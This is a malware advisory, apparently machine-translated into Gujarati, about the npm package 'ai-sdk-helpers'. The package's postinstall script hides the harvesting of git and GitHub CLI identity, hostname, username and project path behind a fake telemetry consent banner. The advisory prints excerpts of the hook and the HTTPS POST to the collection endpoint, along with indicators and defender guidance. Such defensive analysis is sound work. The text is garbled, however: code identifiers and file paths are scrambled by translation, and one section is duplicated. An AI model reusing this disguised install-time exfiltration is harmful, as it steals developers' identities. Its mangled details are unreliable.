TL; DR
એક જ npm પેકેજ, એઆઈ-એસડીકે-હેલ્પર્સ, Vercel AI SDK માટે પ્રોડક્શન ટૂલકીટ તરીકે પોતાને રજૂ કરે છે, જે ખર્ચ ટ્રેકિંગ, પ્રદાતા ફોલબેક અને સ્ટ્રીમિંગ સહાયકો ઓફર કરે છે.
તેની ઇન્સ્ટોલ-ટાઇમ સ્ક્રિપ્ટ એક પોલિશ્ડ ડિસ્ક્લોઝર બેનર સાથે ખુલે છે જે વર્ણવે છે અનામી નિદાન, વચન આપીને કે કોઈ સોર્સ કોડ, ટોકન્સ અથવા ઓળખપત્રો ટ્રાન્સમિટ કરવામાં આવશે નહીં, એકનું સન્માન કરીને DO_NOT_TRACK નાપસંદ કરો, અને ટેલિમેટ્રી પોલિસી પેજ સાથે લિંક કરો.
તે જ સ્ક્રિપ્ટ પછી ડેવલપરની ગિટ ઓળખ, ગિટહબ CLI રૂપરેખાંકન, મશીન હોસ્ટનામ, OS વપરાશકર્તા નામ, કાર્યકારી ડિરેક્ટરી અને CI પ્રદાતા વાંચે છે.
તે ડેટાને JSON તરીકે Google Cloud Run એન્ડપોઇન્ટ પર પોસ્ટ કરવામાં આવે છે, જે જણાવેલ ટેલિમેટ્રી નીતિ અને એકત્રિત કરેલા વાસ્તવિક ક્ષેત્રો વચ્ચે સ્પષ્ટ મેળ ખાતો નથી.
આ પેકેજ ૮૩-સેકન્ડના એક જ બર્સ્ટમાં બાવીસ વર્ઝનમાં પ્રકાશિત થયું હતું, અને ઇન્સ્ટોલ સ્ક્રિપ્ટ દરેક ફ્લેગ કરેલા વર્ઝનમાં બાઈટ-બાય-બાઈટ સમાન છે.
અમારા દ્વારા સમીક્ષા કરાયેલ આઠ આવૃત્તિઓમાંથી સાત pipeline સંમતિ-બેનર શૈલી કાયદેસર ટેલિમેટ્રી જેવી વાંચવાથી ML ક્લાસિફાયર દ્વારા અનિર્ણિત સ્કોર કરવામાં આવ્યો હતો.
અમે વર્ગીકૃત કરીએ છીએ ai-sdk-helpers ઇન્સ્ટોલ-ટાઇમ ડેવલપર ઓળખ સંગ્રહ અને એક્સફિલ્ટ્રેશનના આધારે દૂષિત તરીકે.
તીવ્રતા: ઉચ્ચ.
ઇન્સ્ટોલેશનનું શરીરરચના
{ "scripts": { "postinstall": "node scripts/postinstall.js" } }પોસ્ટઇન્સ્ટોલ આપમેળે ચાલે છે npm સ્થાપિત કરો, પેકેજના કોઈપણ જાહેરાત કરાયેલ કોડને આયાત કરવામાં આવે તે પહેલાં. સ્ક્રિપ્ટ સ્ક્રિપ્ટ્સ/પોસ્ટઇન્સ્ટોલ.જેએસ ઇન્સ્ટોલ-ટાઇમ વર્તણૂક અહીં રહે છે.
તે ગોપનીયતા પ્રત્યે સભાન ઓપન-સોર્સ પ્રોજેક્ટના રજિસ્ટરમાં લખેલા કોમેન્ટ બ્લોક અને રનટાઇમ નોટિસ સાથે ખુલે છે:
>જ્યારે તમે ai-sdk-helpers ઇન્સ્ટોલ કરો છો, ત્યારે અમે ઝડપી પર્યાવરણ સુસંગતતા તપાસ ચલાવીએ છીએ અને અનામી ડાયગ્નોસ્ટિક્સની જાણ કરીએ છીએ... ડેટા સંપૂર્ણપણે અનામી છે — અમે તમારા પ્લેટફોર્મ, નોડ સંસ્કરણ અને તમારા મશીન ઓળખકર્તાનો એક-માર્ગી હેશ એકત્રિત કરીએ છીએ. કોઈ સ્રોત કોડ, ટોકન્સ અથવા ઓળખપત્રો ક્યારેય ટ્રાન્સમિટ કરવામાં આવતા નથી.
તે ફાઇલમાં પહેલો એક્ઝિક્યુટેબલ કોડ, કાર્યરત ઑપ્ટ-આઉટ ગેટને પણ વાયર કરે છે:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); }આ ગેટને પહેલા બાંધવાથી બાકીનું બધું સહમતિથી વાંચવામાં આવે છે: એક ડેવલપર જે સેટ કરે છે `D_ટ્રેક_નથી` ઇન્સ્ટોલેશન શાંતિથી પૂર્ણ થાય છે અને પેકેજ કન્વેન્શનનું સન્માન કરીને સમાપ્ત થાય છે. સન્માનિત ઓપ્ટ-આઉટ વાસ્તવિક છે. તે જે દરેકને સેટ કરતું નથી તે માટે નીચે વર્ણવેલ સંગ્રહ છે - નોટિસ નામોવાળા સાંકડા "પ્લેટફોર્મ, નોડ સંસ્કરણ અને એક-માર્ગી હેશ" નહીં.
તે ગેટ નીચે, સ્ક્રિપ્ટ એક પેલોડ એસેમ્બલ કરે છે જે તે વર્ણનથી ઘણું આગળ વધે છે.
- *Gઓળખ.* rહલScmઓળખ()` ઇડ્સ `~.ગિટકોન્ફિગ`,`~.config/git/config`,અને વર્તમાન પ્રોજેક્ટનો `.તે/રૂપરેખા`,`[નું વિશ્લેષણ કરે છેસેર]` ઇક્શન, અને રૂપરેખાંકિત પરત કરે છે commit ઇમેઇલ. જો કોઈ રૂપરેખા ફાઇલ ઇમેઇલ આપતી નથી, તો તે `G` પર પાછી આવે છે.T_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,અને `Eએઆઈએલ` પર્યાવરણ ચલો. ફંક્શનની ઉપરનો ડોક્સ્ટ્રિંગ "એક જ વ્યક્તિ (દા.ત. લેપટોપ + CI) ની માલિકીના મશીનો પર ઇન્સ્ટોલ્સને ડુપ્લિકેટ કરવા" ના માર્ગ તરીકે વાંચનને ફ્રેમ કરે છે - એક જણાવેલ હેતુ જેને સ્થિર પ્રતિ-વિકાસકર્તા ઓળખકર્તાની જરૂર હોય છે, જે commit ઇમેઇલ પુરવઠો.
- *GtHub એકાઉન્ટ.* rસોલ્વગિટહબઆઇડેન્ટિટી()` ઇડ્સ `~.config/gh/hosts.yml` અને `~.config/gh/hosts.yaml` જ્યારે ડેવલપર પ્રમાણિત કરે છે - અને `u` ને રેજેક્સ-એક્સટ્રેક્ટ કરે છે ત્યારે GitHub CLI દ્વારા લખાયેલ રૂપરેખાંકન ફાઇલએઆર:` અને `ઇઆઇલ:` ields. તે ફાઇલ GitHub OAuth ટોકન પણ સંગ્રહિત કરે છે; સ્ક્રિપ્ટનું રેજેક્સ ખાસ કરીને વપરાશકર્તાનામ અને ઇમેઇલ લાઇનને લક્ષ્ય બનાવે છે અને ટોકન કાઢતું નથી. ડિસ્ક્લોઝર બેનરનો "કોઈ ટોકન... ક્યારેય ટ્રાન્સમિટ થતા નથી" દાવો તેથી તે એક ફીલ્ડ માટે શાબ્દિક રીતે સાચો છે જ્યારે આસપાસના એકાઉન્ટ ઓળખકર્તાઓ વાંચવામાં અને મોકલવામાં આવે છે.
- *Hst અને CI ફિંગરપ્રિન્ટ.* તે પછી સ્ક્રિપ્ટ `o` એકત્રિત કરે છે.હોસ્ટનામ()`,`o.વપરાશકર્તા માહિતી().વપરાશકર્તા નામ`,નોડ વર્ઝન, પ્લેટફોર્મ અને આર્કિટેક્ચર, `pocess.cwd(),અને આઠ પ્રદાતાઓ (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, અને બે generic-CI ફ્લેગ્સ) માટે પર્યાવરણ ચલોને ચકાસીને ઉકેલાયેલ CI-પ્રોવાઇડર લેબલ. પ્રદાતા સૂચિ સ્ક્રિપ્ટ ક્યાં ચલાવવાની અપેક્ષા રાખે છે તેની ઇન્વેન્ટરી તરીકે વાંચે છે - ઇન્ટરેક્ટિવ શેલ્સ અને ઓટોમેટેડ બિલ્ડ pipelineસમાન છે.
આ બધાને એક જ `d` માં જૂથબદ્ધ કરવામાં આવ્યા છે.અજ્ઞેયવાદીઓ bject, `i હેઠળ એકત્રિત પ્રતિ-વિકાસકર્તા ક્ષેત્રો સાથેએન્ટિટી` ey અને `r` હેઠળ હોસ્ટ ડેટાસમય` અને `cટેક્સ્ટ` eyes, પછી શ્રેણીબદ્ધ અને પ્રસારિત:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end();પ્રતિભાવ કાઢી નાખવામાં આવે છે અને બધી ભૂલો ગળી જાય છે - એક ટિપ્પણી નોંધે છે કે "ટેલિમેટ્રીએ ક્યારેય ઇન્સ્ટોલ તોડવું જોઈએ નહીં." એન્ડપોઇન્ટ હોસ્ટનામ `e માં Google ક્લાઉડ રન સેવાને એન્કોડ કરે છે.દોરડું-પશ્ચિમ1` એજીયન.
આ અંતર જ વાર્તા છે. બેનરમાં ડેટાની ત્રણ શ્રેણીઓ છે - પ્લેટફોર્મ, નોડ વર્ઝન, મશીન-આઇડેન્ટિફાયર હેશ. પેલોડ ડેવલપરનું વાસ્તવિક ગિટ મોકલે છે commit ઇમેઇલ, તેમનું GitHub વપરાશકર્તા નામ અને ઇમેઇલ, તેમનું મશીન હોસ્ટનામ અને OS એકાઉન્ટ નામ, તેમનો પ્રોજેક્ટ પાથ અને તેમનું CI પર્યાવરણ. *p ને ઓળખતા ક્ષેત્રોrson અને તેમના ખાતા* જાહેરાતમાં જે ક્ષેત્રો છોડી દેવામાં આવ્યા છે તે બરાબર છે.
README બીજી બાજુથી ફ્રેમિંગને મજબૂત બનાવે છે. તેનો "ટેલિમેટ્રી" વિભાગ અનામી દાવાનું પુનરાવર્તન કરે છે અને "D" શબ્દને જોડે છે._ટ્રેક_નથી` ઓ `સીnsoledonottrack.com`,વાસ્તવિક સમુદાય પૃષ્ઠ જે નાપસંદગી સંમેલનનું દસ્તાવેજીકરણ કરે છે — માન્ય ગોપનીયતા ઉધાર લે છે standard સૂચનાને નિયમિત રીતે વાંચવા માટે.
સમયરેખા
આ એક જ પેકેજ શોધ છે જેનો પ્રકાશન ઇતિહાસ ખૂબ જ ટૂંકો અને ગાઢ છે. તેને ટ્રેસ કરવા માટે કોઈ બહુ-અઠવાડિયાનો ઝુંબેશ ચાપ નથી - સમગ્ર સંસ્કરણ શ્રેણી મશીનની ગતિએ આગળ ધપાવવામાં આવી હતી.
| ક્યારે (UTC) | ઇવેન્ટ |
|---|---|
| 2026-06-03 20:31:20 | પ્રથમ સંસ્કરણ (0.1.0) npm પર પ્રકાશિત. |
| 2026-06-03 20:31:20 – 20:32:43 | બધા 22 સંસ્કરણો (0.1.0 દ્વારા 1.4.2) 83-સેકન્ડના ઓટોમેટેડ બર્સ્ટમાં પ્રકાશિત. |
| 2026-06-04 | શોધ સંકેતો દ્વારા ફ્લેગ કરાયેલા આઠ સંસ્કરણો; મેન્યુઅલ વિશ્લેષણ ઇન્સ્ટોલ-ટાઇમ ઓળખ સંગ્રહ અને એક્સફિલ્ટ્રેશનની પુષ્ટિ કરે છે. વિશ્લેષણ સમયે પેકેજ npm પર લાઇવ રહ્યું. |
22 સિમેન્ટીક વર્ઝનમાં 83-સેકન્ડની વિન્ડો પોતે જ એક વર્તણૂકીય સૂચક છે: વર્ઝન સીડી (`0૧.૧`,`0૧.૧`,… `1૪.૨`)સક્રિય રીતે જાળવવામાં આવેલા પ્રોજેક્ટની સપાટી રજૂ કરે છે જેમાં એક સ્ક્રિપ્ટેડ રનમાં ઉત્પાદિત પ્રકાશન ઇતિહાસ હોય છે. ઇન્સ્ટોલ સ્ક્રિપ્ટ તે સીડી પર બદલાતી નથી — નીચે જુઓ.
સમાધાનના સૂચકો
પ્રકાશિત સંસ્કરણ શ્રેણીમાં ઇન્સ્ટોલ-ટાઇમ પેલોડ સમાન છે. A `dએફએફ` એફ `એસરિપ્ટ્સ/પોસ્ટઇન્સ્ટોલ.જેએસ` એટવીન વર્ઝન `02.1` બીજું સંસ્કરણ `14.2` કોઈ ફરક નથી; વર્તન એક નિશ્ચિત ફિંગરપ્રિન્ટ જેવું છે, વિકસિત પેલોડ જેવું નથી.
નેટવર્ક
22 સિમેન્ટીક વર્ઝનમાં 83-સેકન્ડની વિન્ડો પોતે જ એક વર્તણૂકીય સૂચક છે: વર્ઝન સીડી (`0૧.૧`,`0૧.૧`,… `1૪.૨`)સક્રિય રીતે જાળવવામાં આવેલા પ્રોજેક્ટની સપાટી રજૂ કરે છે જેમાં એક સ્ક્રિપ્ટેડ રનમાં ઉત્પાદિત પ્રકાશન ઇતિહાસ હોય છે. ઇન્સ્ટોલ સ્ક્રિપ્ટ તે સીડી પર બદલાતી નથી — નીચે જુઓ.
સમાધાનના સૂચકો
પ્રકાશિત સંસ્કરણ શ્રેણીમાં ઇન્સ્ટોલ-ટાઇમ પેલોડ સમાન છે. A `dએફએફ` એફ `એસરિપ્ટ્સ/પોસ્ટઇન્સ્ટોલ.જેએસ` એટવીન વર્ઝન `02.1` બીજું સંસ્કરણ `14.2` કોઈ ફરક નથી; વર્તન એક નિશ્ચિત ફિંગરપ્રિન્ટ જેવું છે, વિકસિત પેલોડ જેવું નથી.
નેટવર્ક
| સૂચક | ભૂમિકા |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | JSON પેલોડ્સ સાથે HTTPS POST વિનંતીઓ પ્રાપ્ત કરતું એક્સફિલ્ટ્રેશન એન્ડપોઇન્ટ. Google ક્લાઉડ પર હોસ્ટ કરેલ માં ચલાવો europe-west1 પ્રદેશ |
ડીકોય ઇન્ફ્રાસ્ટ્રક્ચર
| સૂચક | ભૂમિકા |
|---|---|
ai-sdk.guide | "AI SDK ગાઇડ" લેખક ઓળખને સમર્થન આપતું પેકેજ હોમપેજ અને લાઇવ સાઇટ. |
ai-sdk.guide/telemetry | ઇન્સ્ટોલ-ટાઇમ ડિસ્ક્લોઝર નોટિસમાં સંદર્ભિત ટેલિમેટ્રી પોલિસી URL. |
hello@ai-sdk.guide | લેખકનો ઇમેઇલ જાહેર કરવામાં આવ્યો package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | પેકેજ દ્વારા જાહેર કરાયેલ સ્ત્રોત ભંડાર. |
ઇન્સ્ટોલેશન સમયે વાંચેલી ફાઇલો
- -.ગિટકોન્ફિગ`,`~.config/git/config`,`<wd>/.git/config` ગિટ `[સેર]` મેલ
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` ગિટહબ CLI `uએઆર` `eઆઇલ`
વર્તણૂકીય સહીઓ
- – મ `પઇન્સ્ટોલ કરો` બંડલ્ડ નોડ સ્ક્રિપ્ટનો ઉપયોગ પણ કરી રહ્યા છીએ
- - નાપસંદગીનો દરવાજો (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_ટ્રેક નહીં`)ઓળખ સંગ્રહ પહેલાં, ગોપનીયતા સુવિધા તરીકે રજૂ કરવામાં આવ્યું છે
- - ગિટ ઇમેઇલ, ગિટહબ ઓળખ, હોસ્ટનામ, ઓએસ વપરાશકર્તા નામ, સીડબલ્યુડી અને સીઆઈ લેબલ ધરાવતા JSON ઑબ્જેક્ટનું tbound HTTPS POST
- - ઝડપથી પ્રકાશિત થતા સંસ્કરણની સીડી પર સમાન ઇન્સ્ટોલ સ્ક્રિપ્ટ
એટ્રિબ્યુશન અને અવલોકન કરેલ વર્તણૂક
અમે પેકેજ અને રજિસ્ટ્રી મેટાડેટા રેકોર્ડ કરતાં વધુ કંઈપણ જવાબદાર નથી.
રેકોર્ડનો npm જાળવણી કરનાર એકાઉન્ટ `a છેઇલ્સિમોન,સરનામાં `a સાથેiel@vigilance.security`.રજિસ્ટ્રી તે ઇમેઇલને અપ્રમાણિત તરીકે અને એકાઉન્ટની સ્રોત-નિયંત્રણ ઓળખને અપ્રમાણિત તરીકે સૂચિબદ્ધ કરે છે. `pckage.json`,અલગથી, લેખકને “AI SDK માર્ગદર્શિકા` તરીકે રજૂ કરે છે.ello@ai-sdk.guide>`”`a ના હોમપેજ સાથે-sdk.ગાઇડ` અને `g` હેઠળ સ્ત્રોત ભંડારthub.com/ai-sdk-guide` સંસ્થા. પ્રકાશન ખાતાનું ઇમેઇલ ડોમેન (`vigilance.security`)અને પેકેજમાં લેખક ઓળખ (`a-sdk.ગાઇડ`)અલગ અલગ ડોમેન્સ છે.
આ `a-sdk.ગાઇડ` તે લાઇવ છે અને પ્રતિભાવ આપે છે, અને `/તત્વજ્ઞાન` ath ઉકેલે છે — ડિકોય ઓળખને ડેડ લિંકને બદલે પહોંચી શકાય તેવી વેબ હાજરી દ્વારા સમર્થન આપવામાં આવે છે, જે પેકેજની ફ્રેમિંગની વિશ્વસનીયતા વધારે છે.
**અવલોકન કરેલ ક્ષમતા.** ઇન્સ્ટોલ સમયે, પેકેજ ડેવલપર ઓળખ અને એકાઉન્ટ-કન્ફિગરેશન ફાઇલો વાંચે છે, હોસ્ટ અને CI પર્યાવરણને ફિંગરપ્રિન્ટ કરે છે, અને પરિણામને ઓપરેટર-નિયંત્રિત એન્ડપોઇન્ટ પર ટ્રાન્સમિટ કરે છે, જ્યારે એક સૂચના પ્રદર્શિત કરે છે જે સાંકડી અને અનામી ડેટા સેટનું વર્ણન કરે છે. અમે આ વર્તનનું વર્ણન કરીએ છીએ; અમે તેના માટે કોઈ હેતુનો દાવો કરતા નથી. પેકેજનું મૂલ્યાંકન કરતા વાચકો - પ્રકાશન ઓળખને ઓળખતા કોઈપણ પક્ષ સહિત - એ જણાવેલ અને વાસ્તવિક ડેટા પ્રવાહ વચ્ચે અવલોકનક્ષમ મેળ ખાતી નથી તેનું વજન કરવું જોઈએ.
ડિફેન્ડર્સ માટે અસર, વલણો અને માર્ગદર્શન
કોણ ખુલ્લું પડે છે. કોઈપણ જે ઇન્સ્ટોલ કરે છે એઆઈ-એસડીકે-હેલ્પર્સ — સીધી રીતે અથવા ટ્રાન્ઝિટિવ ડિપેન્ડન્સી તરીકે — તે મશીન પર કલેક્શન ચલાવે છે. કારણ કે ટ્રિગર છે પોસ્ટઇન્સ્ટોલ, ડેટા ફ્લો થવા માટે જાહેરાત કરાયેલ લાઇબ્રેરી કોડ ક્યારેય આયાત કરવાની જરૂર નથી; ફક્ત ઇન્સ્ટોલ કરવું પૂરતું છે. ઉચ્ચતમ-મૂલ્યવાળા વાતાવરણ એ ડેવલપર વર્કસ્ટેશન છે જેમાં રૂપરેખાંકિત ગિટ ઓળખ અને પ્રમાણિત ગિટહબ CLI અને CI રનર્સ છે, જ્યાં સ્ક્રિપ્ટનું CI-પ્રોવાઇડર ડિટેક્શન સૂચવે છે કે સંગ્રહ બિલ્ડની અંદર ચાલવાની અપેક્ષા છે. pipelines તેમજ લેપટોપ પર.
તે શું ઉજાગર કરે છે. સામાન્ય કિસ્સામાં એપ્લિકેશન રહસ્યો નહીં - પેલોડ કેન્દ્રિત છે ઓળખ: વિકાસકર્તાનું commit ઇમેઇલ, તેમના GitHub એકાઉન્ટ નામ અને ઇમેઇલ, મશીન અને એકાઉન્ટ નામો, અને પ્રોજેક્ટ પાથ. તે એક પૂર્વcisપેકેજ કોણે, કયા મશીન પર, કયા રિપોઝીટરીમાં અને કયા CI સિસ્ટમ હેઠળ ઇન્સ્ટોલ કર્યું તેનો નકશો. સંસ્થા માટે, આવા મુઠ્ઠીભર રેકોર્ડ એકસાથે લેવામાં આવે તો તે દર્શાવે છે કે કયા ઇજનેરો અને કયા બિલ્ડ સિસ્ટમ્સ નિર્ભરતા ખેંચે છે - વધુ લક્ષિત ફોલો-ઓન પ્રવૃત્તિના પુરોગામી તરીકે ઉપયોગી, ભલે આ પેકેજનું પોતાનું વર્તન સંગ્રહ અને ટ્રાન્સમિશન પર અટકે.
વલણ: કવર તરીકે ટેલિમેટ્રી. કાયદેસર ડેવલપર ટૂલ્સ અનામી ઇન્સ્ટોલ ડાયગ્નોસ્ટિક્સ એકત્રિત કરે છે, અને તે આદરપૂર્વક કરવા માટેના સંમેલનો - એક ડિસ્ક્લોઝર નોટિસ, ટ્રેક ન કરો સન્માન, એક નાપસંદગીનો ધ્વજ, એક નીતિ URL — જાણીતા છે. એઆઈ-એસડીકે-હેલ્પર્સ તે ચારેય સંમેલનોનું વિશ્વાસુપણે પુનઃઉત્પાદન કરે છે અને ઓળખ સંગ્રહ માટે રેપર તરીકે તેનો ઉપયોગ કરે છે. સંમતિ બેનર, કાર્યકારી ઑપ્ટ-આઉટ, અથવા ગોપનીયતા-નીતિ લિંકની હાજરી એ પુરાવા નથી કે પેકેજ વિશ્વસનીય છે; તે નિયંત્રણોનું અનુકરણ કરવું સસ્તું છે. એકમાત્ર વિશ્વસનીય તપાસ એ છે કે કોડ ખરેખર શું વાંચે છે અને તે ખરેખર તેને ક્યાં મોકલે છે.
આ પેકેજિંગ ઓટોમેટેડ ટ્રાયજ પર પણ માપી શકાય તેવી અસર કરે છે. બધા વર્ઝનમાં અમારા pipeline સમીક્ષા કરવામાં આવી, ઇન્સ્ટોલ સ્ક્રિપ્ટની સાદી ભાષાની ટિપ્પણીઓ, સ્ટ્રક્ચર્ડ ફીલ્ડ નામો અને પરંપરાગત ઓપ્ટ-આઉટ ગેટને સામાન્ય ટેલિમેટ્રી તરીકે સ્કોર કરવામાં આવ્યો: આઠમાંથી સાત પાછા આવ્યા અસંગત દૂષિત કરતાં ML ક્લાસિફાયરમાંથી. અસ્પષ્ટતાને ઉકેલતો સંકેત ગદ્યમાં નથી - તે સ્ક્રિપ્ટ ખોલતી ચોક્કસ ફાઇલોમાં છે (. / .gitconfig, ~/.config/gh/hosts.yml) અને તે કયા ગંતવ્ય સ્થાન પર મોકલે છે. એક સમીક્ષક, સ્વયંસંચાલિત અથવા માનવ, જે ખુલાસો વાંચે છે અને ત્યાં અટકે છે તે ખોટા નિષ્કર્ષ પર પહોંચશે; નિર્ણય ડેટા-પ્રવાહના તથ્યો પરથી આવવો જોઈએ.
ડિફેન્ડર્સ માટે માર્ગદર્શન:
- ડિફોલ્ટ રૂપે અક્ષમ સ્ક્રિપ્ટો સાથે ઇન્સ્ટોલ કરો — npm ઇન્સ્ટોલ કરો - અવગણો-સ્ક્રિપ્ટો, અથવા સેટ કરો અવગણો-સ્ક્રિપ્ટ્સ = સાચું in .npmrc અને ચકાસાયેલ બિલ્ડ સ્ટેપ્સ સ્પષ્ટ રીતે ચલાવો. આ તટસ્થ કરે છે પોસ્ટઇન્સ્ટોલ-સમગ્ર બોર્ડમાં સંગ્રહને ઉત્તેજિત કર્યો.
- નાપસંદગી નિયંત્રણોને વિશ્વાસના સંકેતો તરીકે ન ગણો. A. ટ્રેક ન કરો ચેક અથવા "ટેલિમેટ્રી પોલિસી" લિંક તમને ગેટ સેટ ન હોય ત્યારે સ્ક્રિપ્ટ જે ડેટા એકત્રિત કરે છે તેના વિશે કંઈ કહેતી નથી.
- AI-ઇકોસિસ્ટમ હેલ્પર પેકેજો અપનાવતા પહેલા ઇન્સ્ટોલ હૂક વાંચો. Vercel AI SDK સ્પેસ એક ઝડપી ગતિશીલ, ઉચ્ચ-વિશ્વાસ લક્ષ્ય છે; a પોસ્ટઇન્સ્ટોલ જે સ્પર્શે છે . / .gitconfig or ~/.config/gh/ આસપાસની ટિપ્પણીઓ કેવી રીતે લખાઈ છે તે ધ્યાનમાં લીધા વિના, આ એક સ્પષ્ટ સંકેત છે.
- બિલ્ડ-ટાઇમ ઇગ્રેસનું નિરીક્ષણ કરો. આઉટબાઉન્ડ HTTPS POST દરમિયાન npm સ્થાપિત કરો, ખાસ કરીને તાજા પ્રોવિઝન કરેલા ક્લાઉડ-ફંક્શન એન્ડપોઇન્ટ માટે, નેટવર્ક લેયર પર અવલોકનક્ષમ છે અને CI વાતાવરણ માટે એક મજબૂત શોધ બિંદુ છે.
- સંકુચિત સંસ્કરણ સીડીઓ માટે જુઓ. એક પેકેજ જેનો સંપૂર્ણ સિમેન્ટીક-સંસ્કરણ ઇતિહાસ સેકન્ડોમાં દેખાય છે, એક અપરિવર્તિત ઇન્સ્ટોલ સ્ક્રિપ્ટ સાથે, ઉત્પાદિત જાળવણી ઇતિહાસ રજૂ કરે છે.
